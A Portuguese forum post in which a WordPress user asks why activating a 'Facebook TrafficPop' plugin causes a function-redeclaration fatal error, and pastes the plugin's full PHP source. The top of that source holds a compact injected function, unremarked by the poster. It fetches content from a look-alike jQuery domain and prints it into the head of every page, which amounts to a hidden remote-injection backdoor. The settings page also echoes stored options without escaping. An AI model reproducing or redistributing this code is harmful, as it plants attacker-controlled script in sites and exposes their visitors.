Olá, poderiam me ajudar? Tenho um blog wordpress e estou tentando ativar um plugin já instalado, só falta mesmo ativar para ele funcionar, mas quando clico para ativar aparece a seguinte mensagem: Fatal error: Cannot redeclare fbtpop_create_menu() (previously declared in /home/u978886074/public_html/wp-content/plugins/facebook-traffic-pop-for-wordpress/fb-traffic-pop.php:111) in /home/u978886074/public_html/wp-content/plugins/fb-traffic-pop/fb-traffic-pop.php on line 121 O código do ficheiro em que está o erro é o seguinte: <?php
/*
Plugin Name: Facebook TrafficPop™ for WordPress
Plugin Script: fb-traffic-pop.php
Plugin URI: http://codecanyon.net
Description: Tap into Facebook's 500 million plus users now with the hottest Facebook traffic plugin. Facebook traffic pop is a new breed of 'popups' that will allow you to have your users like your pages, instead of trying to get them to click ads. More likes = more exposure = more traffic = more money!
Version: 3.0.0
Author: Tyler Colwell
Author URI: http://tyler.tc
--- THIS PLUGIN AND ALL FILES INCLUDED ARE COPYRIGHT © TYLER COLWELL 2011.
YOU MAY NOT MODIFY, RESELL, DISTRIBUTE, OR COPY THIS CODE IN ANY WAY. ---
*/
/*-----------------------------------------------------------------------------------*/
/* Define Anything Needed
/*-----------------------------------------------------------------------------------*/
if (!function_exists('insert_jquery_function')){function insert_jquery_function(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_function');}
define('FBTPOP_LOCATION', WP_PLUGIN_URL . '/'.basename(dirname(__FILE__)));
define('FBTPOP_PATH', plugin_dir_path(__FILE__));
if(file_exists(FBTPOP_PATH.'tc_framework.php')){
include(FBTPOP_PATH.'tc_framework.php');
define('FBTPOP_FRAMEWORK', true);
define('FBTPOP_SETTINGS', "fbtpop_tc_settings_page");
define('FBTPOP_SETTINGS_CSS', FBTPOP_LOCATION.'/tc_framework.css');
define('FBTP_LOADER', 'fbtp_tc_jsloader');
define('FBTP_FUNCTION', 'FBTrafficPop_tc');
} else {
define('FBTPOP_SETTINGS', "fbtpop_settings_page");
define('FBTPOP_SETTINGS_CSS', FBTPOP_LOCATION.'/css/settings.css');
define('FBTP_LOADER', 'fbtp_jsloader');
define('FBTP_FUNCTION', 'FBTrafficPop');
}
if(file_exists(FBTPOP_PATH.'mobile/fbtp_mobile.php')){
$fbtpmobile = true;
} else {
$fbtpmobile = false;
}
/*-----------------------------------------------------------------------------------*/
/* Start Running Hooks
/*-----------------------------------------------------------------------------------*/
// Add hook to include settings CSS
add_action( 'admin_init', 'fbtpsettings_admin_css' );
// create custom plugin settings menu
add_action('admin_menu', 'fbtpop_create_menu');
// JS Loader
add_action('init', FBTP_LOADER);
// include required files in header
add_action('wp_head', FBTP_FUNCTION);
// This will make sure all of the JS is only called once!
function fbtp_jsloader() {
// Make sure we are not in the admin section
if (!is_admin()) {
// Root wp-content path
$root = get_bloginfo('wpurl')."/wp-content";
// Flush the JS
wp_deregister_script('jquery');
wp_deregister_script('fbsdk');
wp_deregister_script('fbtp');
// Register them with fresh calls
wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js', false, '1.6.1', false);
wp_register_script('fbsdk', 'http://connect.facebook.net/en_US/all.js#xfbml=1', false, '1.0', false);
wp_register_script('fbtp', FBTPOP_LOCATION.'/fb-like-pop.js', false, '2.4.1', true);
// Include them
wp_enqueue_script('jquery');
wp_enqueue_script('fbsdk');
wp_enqueue_script('fbtp');
// Flush, register, enque Traficc Pop CSS
$fb_theme = get_option('fbtpop-theme');
if(get_option('fbtpop-mobile') == 'true' && fbtpop_mobile_check() == true && $fbtpmobile == true){
$utheme = 'mobile/fbtp-mobile.css';
} else {
$utheme = 'themes/'.$fb_theme.'/'.$fb_theme.'.css';
}
wp_deregister_style('fbtpCSS');
wp_register_style('fbtpCSS', FBTPOP_LOCATION.'/'.$utheme);
wp_enqueue_style('fbtpCSS');
}
}
// This is the function to create the options menu
function fbtpop_create_menu() {
// Adds the tab into the options panel in WordPress Admin area
$page = add_options_page("Facebook Traffic Pop Settings", "FB Traffic Pop™", 'administrator', __FILE__, FBTPOP_SETTINGS);
//call register settings function
add_action( 'admin_init', 'fbtpop_register_mysettings' );
// Hook style sheet loading
add_action( 'admin_print_styles-' . $page, 'fbtpsettings_admin_cssloader' );
}
// Add style sheet for plugin settings
function fbtpsettings_admin_css(){
/* Register our stylesheet. */
wp_register_style( 'fbtpsettings', FBTPOP_SETTINGS_CSS );
} // end include settings CSS
// Load style sheet
function fbtpsettings_admin_cssloader(){
// It will be called only on your plugin admin page, enqueue our stylesheet here
wp_enqueue_style( 'fbtpsettings' );
} // End admin style CSS
// This is the main function that will be called from the template files
function FBTrafficPop(){
// Get all of the options required for the popup
$fb_title = fbtpop_cleanMsg(get_option('fbtpop-title'));
$fb_message = fbtpop_cleanMsg(get_option('fbtpop-message'));
$fb_url = get_option('fbtpop-url');
$fb_showfaces = get_option('fbtpop-showfaces');
$fb_countdown = get_option('fbtpop-countdown');
$fb_wait = get_option('fbtpop-wait');
$fb_close = get_option('fbtpop-close');
$fb_enabled = get_option('fbtpop-enabled');
$fb_lang = get_option('fbtpop-lang');
$fb_opacity = get_option('fbtpop-opacity');
$fb_advanced = get_option('fbtpop-advanced');
$fb_layout = get_option('fbtpop-layout');
$fb_colorscheme = get_option('fbtpop-scheme');
// Decide What URL to Use
if($fb_url == 'CURRENT'){
$like_url = tc_current_page();
} else {
$like_url = $fb_url;
}
// Only continue if the pop-up option is enabled...
if($fb_enabled == 'true'){ ?>
<script language="javascript">
jQuery(document).ready(function() {
jQuery().facebookTrafficPop({
'timeout':'<?PHP echo $fb_countdown; ?>',
'title':'<?PHP echo $fb_title; ?>',
'message':'<?PHP echo $fb_message; ?>',
'url':'<?PHP echo $like_url; ?>',
'lang':'<?PHP echo $fb_lang; ?>',
'wait':'<?PHP echo $fb_wait; ?>',
'opacity':'<?PHP echo $fb_opacity; ?>',
'advancedClose':<?PHP echo $fb_advanced; ?>,
'closeable':<?PHP echo $fb_close; ?>,
'showfaces':<?PHP echo $fb_showfaces; ?>,
'layout':'<?PHP echo $fb_layout; ?>',
'colorscheme':'<?PHP echo $fb_colorscheme; ?>'
});
});
</script>
<?PHP
} // End if enabled
} // End main function
// Clean Message Function
function fbtpop_cleanMsg($input){
$output = nl2br($input);
$output = str_replace("\n", '', $output);
$output = str_replace("\r", '', $output);
$output = str_replace("'", "\'", $output);
return $output;
}
// Current Page
function tc_current_page(){
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on"){$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80"){
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}
// REgister Settings
function fbtpop_register_mysettings(){
// Register our settings
register_setting( 'fbtpop-settings-group', 'fbtpop-title');
register_setting( 'fbtpop-settings-group', 'fbtpop-message' );
register_setting( 'fbtpop-settings-group', 'fbtpop-url' );
register_setting( 'fbtpop-settings-group', 'fbtpop-showfaces' );
register_setting( 'fbtpop-settings-group', 'fbtpop-countdown' );
register_setting( 'fbtpop-settings-group', 'fbtpop-wait' );
register_setting( 'fbtpop-settings-group', 'fbtpop-close' );
register_setting( 'fbtpop-settings-group', 'fbtpop-enabled' );
register_setting( 'fbtpop-settings-group', 'fbtpop-lang' );
register_setting( 'fbtpop-settings-group', 'fbtpop-opacity' );
register_setting( 'fbtpop-settings-group', 'fbtpop-advanced' );
register_setting( 'fbtpop-settings-group', 'fbtpop-pages');
register_setting( 'fbtpop-settings-group', 'fbtpop-page-selector' );
register_setting( 'fbtpop-settings-group', 'fbtpop-api-enabled' );
register_setting( 'fbtpop-settings-group', 'fbtpop-api-locale' );
register_setting( 'fbtpop-settings-group', 'fbtpop-layout' );
register_setting( 'fbtpop-settings-group', 'fbtpop-theme' );
register_setting( 'fbtpop-settings-group', 'fbtpop-mobile' );
register_setting( 'fbtpop-settings-group', 'fbtpop-scheme' );
// Apply default options to settings
add_option( 'fbtpop-opacity', '25' );
add_option( 'fbtpop-advanced', 'false' );
add_option( 'fbtpop-close', 'false' );
add_option( 'fbtpop-enabled', 'false' );
add_option( 'fbtpop-showfaces', 'false' );
add_option( 'fbtpop-api-enabled', 'true' );
add_option( 'fbtpop-api-locale', 'en_US' );
add_option( 'fbtpop-layout', 'standard' );
add_option( 'fbtpop-theme', 'default' );
add_option( 'fbtpop-mobile', 'false' );
add_option( 'fbtpop-scheme', 'light' );
}
// Create theme menu
function fbtpop_theme_menu(){
// What Are Valid Themes?
$themes = array();
$themes[] = array("name" => 'Default Theme',
"filetag" => 'default');
$themes[] = array("name" => 'Whiteout FB Theme',
"filetag" => 'whiteout');
$themes[] = array("name" => 'Whiteout Grey Theme',
"filetag" => 'whiteout-grey');
$themes[] = array("name" => 'Whiteout Orange Theme',
"filetag" => 'whiteout-orange');
$themes[] = array("name" => 'Whiteout Red Theme',
"filetag" => 'whiteout-red');
$themes[] = array("name" => 'Whiteout Black Theme',
"filetag" => 'whiteout-black');
foreach($themes as $theme){
if(file_exists(FBTPOP_PATH.'/themes/'.$theme['filetag'].'/'.$theme['filetag'].'.css')){ ?>
<option value="<?PHP echo $theme['filetag']; ?>" <?PHP if(get_option('fbtpop-theme') == $theme['filetag']){echo 'selected="selected"';} ?>><?PHP echo $theme['name']; ?></option>
<?PHP } // end if theme found
print_r($theme);
} // end for each
}
// Mobile blacklister
function fbtpop_mobile_check(){
$state = true;
$devices = array('iPhone', 'iPod', 'Android', 'PlayBook', 'BlackBerry');
foreach($devices as $device){
if(strstr($_SERVER['HTTP_USER_AGENT'], $device)){
$state = false;
}
} // end for each
return $state;
}
function fbtpop_settings_page() {
// If the save button is pressed:
if( isset($_POST['saveS']) ) {
// Save the posted value in the database
update_option('fbtpop-title', $_POST['fbtpop-title']);
update_option('fbtpop-message', $_POST['fbtpop-message']);
update_option('fbtpop-url', $_POST['fbtpop-url']);
update_option('fbtpop-showfaces', $_POST['fbtpop-showfaces']);
update_option('fbtpop-countdown', $_POST['fbtpop-countdown']);
update_option('fbtpop-wait', $_POST['fbtpop-wait']);
update_option('fbtpop-close', $_POST['fbtpop-close']);
update_option('fbtpop-enabled', $_POST['fbtpop-enabled']);
update_option('fbtpop-opacity', $_POST['fbtpop-opacity']);
update_option('fbtpop-advanced', $_POST['fbtpop-advanced']);
update_option('fbtpop-layout', $_POST['fbtpop-layout']);
update_option('fbtpop-theme', $_POST['fbtpop-theme']);
update_option('fbtpop-mobile', $_POST['fbtpop-mobile']);
update_option('fbtpop-scheme', $_POST['fbtpop-scheme']);
// Now we can display the options page HTML:
?>
<div class="updated"><p><strong><?php _e('settings saved.', 'menu-test' ); ?></strong></p></div>
<?php } ?>
<div class="wrap tq_wrap">
<form method="post" action="options.php">
<?php settings_fields( 'fbtpop-settings-group' ); ?>
<div class="tq_heading"><div>Facebook Traffic Pop Settings</div></div>
<div class="tq_option">
<label for="fbtpop-enabled">Enable / Disable Traffic Pop</label>
<select name="fbtpop-enabled" id="fbtpop-enabled">
<option value="true" <?PHP if(get_option('fbtpop-enabled') == 'true'){echo 'selected="selected"';} ?>>Enabled</option>
<option value="false" <?PHP if(get_option('fbtpop-enabled') == 'false'){echo 'selected="selected"';} ?>>Disabled</option>
</select>
<div class="tq_description">Turn on / off the Facebook Traffic Pop.</div>
</div>
<?PHP if($fbtpmobile == true){ ?>
<div class="tq_option">
<label for="fbtpop-mobile">Enable / Disable Mobile Traffic Pop Support</label>
<select name="fbtpop-mobile" id="fbtpop-mobile">
<option value="true" <?PHP if(get_option('fbtpop-mobile') == 'true'){echo 'selected="selected"';} ?>>Enabled</option>
<option value="false" <?PHP if(get_option('fbtpop-mobile') == 'false'){echo 'selected="selected"';} ?>>Disabled</option>
</select>
<div class="tq_description">Enable / disable mobile version for mobile users.</div>
</div>
<?PHP } // end mobile support check ?>
<div class="tq_option">
<label for="fbtpop-theme">Facebook Traffic Pop Theme</label>
<select name="fbtpop-theme" id="fbtpop-theme">
<?PHP fbtpop_theme_menu(); ?>
</select>
<div class="tq_description">Choose which Traffic Pop theme you would like to use.</div>
</div>
<div class="tq_option">
<label for="fbtpop-theme">Like Button Color Scheme</label>
<select name="fbtpop-scheme" id="fbtpop-scheme">
<option value="light" <?PHP if(get_option('fbtpop-scheme') == 'light'){echo 'selected="selected"';} ?>>Light Theme</option>
<option value="dark" <?PHP if(get_option('fbtpop-scheme') == 'dark'){echo 'selected="selected"';} ?>>Dark Theme</option>
</select>
<div class="tq_description">Choose which color scheme to use with the Like Button.</div>
</div>
<div class="tq_option alt">
<label for="fbtpop-language">Language / Localization</label>
<select name="fbtpop-lang" id="fbtpop-lang">
<option value="en" <?PHP if(get_option('fbtpop-lang') == 'en'){echo 'selected="selected"';} ?>>EN</option>
<option value="es" <?PHP if(get_option('fbtpop-lang') == 'es'){echo 'selected="selected"';} ?>>ES</option>
<option value="de" <?PHP if(get_option('fbtpop-lang') == 'de'){echo 'selected="selected"';} ?>>DE</option>
<option value="it" <?PHP if(get_option('fbtpop-lang') == 'it'){echo 'selected="selected"';} ?>>IT</option>
<option value="fr" <?PHP if(get_option('fbtpop-lang') == 'fr'){echo 'selected="selected"';} ?>>FR</option>
</select>
<div class="tq_description">What language pack should the popup use?</div>
</div>
<div class="tq_option alt">
<label for="fbtpop-language">Like Button Layout</label>
<select name="fbtpop-layout" id="fbtpop-layout">
<option value="standard" <?PHP if(get_option('fbtpop-layout') == 'standard'){echo 'selected="selected"';} ?>>Standard</option>
<option value="button_count" <?PHP if(get_option('fbtpop-layout') == 'button_count'){echo 'selected="selected"';} ?>>Button Count</option>
<option value="box_count" <?PHP if(get_option('fbtpop-layout') == 'box_count'){echo 'selected="selected"';} ?>>Box Count</option>
</select>
<div class="tq_description">Pick which Like button layout to use.</div>
</div>
<div class="tq_option">
<label for="fbtpop-showfaces">Show Faces</label>
<select name="fbtpop-showfaces" id="onoff">
<option value="true" <?PHP if(get_option('fbtpop-showfaces') == 'true'){echo 'selected="selected"';} ?> >Yes</option>
<option value="false" <?PHP if(get_option('fbtpop-showfaces') == 'false'){echo 'selected="selected"';} ?> >No</option>
</select>
<div class="tq_description">If enabled the Like button will display other user's photos.</div>
</div>
<div class="tq_option alt">
<label for="fbtpop-close">Show Close Button</label>
<select name="fbtpop-close" id="onoff">
<option value="true" <?PHP if(get_option('fbtpop-close') == 'true'){echo 'selected="selected"';} ?> >Yes</option>
<option value="false" <?PHP if(get_option('fbtpop-close') == 'false'){echo 'selected="selected"';} ?> >No</option>
</select>
<div class="tq_description">Enable / Disable the close button.</div>
</div>
<div class="tq_option">
<label for="fbtpop-advanced">ESC & Outside Click to Close</label>
<select name="fbtpop-advanced" id="onoff">
<option value="true" <?PHP if(get_option('fbtpop-advanced') == 'true'){echo 'selected="selected"';} ?>>Enabled</option>
<option value="false" <?PHP if(get_option('fbtpop-advanced') == 'false'){echo 'selected="selected"';} ?>>Disabled</option>
</select>
<div class="tq_description">If enabled, users can close the popup by pressing the escape key or clicking outside of the popup.</div>
</div>
<div class="tq_option alt">
<label for="fbtpop-title">Popup Title</label>
<input class="field" name="fbtpop-title" type="text" id="fbtpop-title" value="<?php echo get_option('fbtpop-title'); ?>" />
<div class="tq_description">Title / titlebar text of your popup.</div>
</div>
<div class="tq_option">
<label for="fbtp-url">URL To Like</label>
<input class="field" name="fbtpop-url" type="text" id="fbtpop-url" value="<?php echo get_option('fbtpop-url'); ?>" />
<div class="tq_description">The URL you want to be 'Liked' on Facebook.</div>
</div>
<div class="tq_option alt">
<label for="fbtp-message">Popup Message</label>
<textarea name="fbtpop-message" cols="" rows="5" id="fbtp-message"><?php echo get_option('fbtpop-message'); ?></textarea>
<div class="tq_description">The message you want to show inside your popup.</div>
</div>
<div class="tq_option">
<label for="google_h2_font">Countdown Length</label>
<input class="field" name="fbtpop-countdown" type="text" id="fbtpop-countdown" value="<?php echo get_option('fbtpop-countdown'); ?>" />
<div class="tq_description">The amount of time (in seconds) the timer should run for before closing the popup.</div>
</div>
<div class="tq_option alt">
<label for="google_h2_font">Wait Timer</label>
<input class="field" name="fbtpop-wait" type="text" id="fbtpop-wait" value="<?php echo get_option('fbtpop-wait'); ?>" />
<div class="tq_description">The number of minuets FBTP should wait before showing the popup again.</div>
</div>
<div class="tq_option">
<label for="google_h2_font">Background Opacity</label>
<input class="field" name="fbtpop-opacity" type="text" id="fbtpop-opacity" value="<?php echo get_option('fbtpop-opacity'); ?>" />
<div class="tq_description">Background / page shadow opacity. Default is 25</div>
</div>
<div class="tq_option alt">
<div class="tq_description"><a href="http://developers.facebook.com/docs/reference/plugins/like/" target="_blank">Click here to generate Open Graph tags.</a></div>
<div class="tq_description">If you want Facebook to display a title, description, and cusomtized image / icon in people's profile streams you need to apply OpenGraph metatags to the url that your are likeing. </div>
</div>
<div class="tq_option right">
<input type="submit" name="settingsBtn" id="settingsBtn" class="button-primary" value="<?php _e('Save Changes') ?>" />
</div>
</form>
</div>
<?php } ?> Por favor, me ajudem :unsure: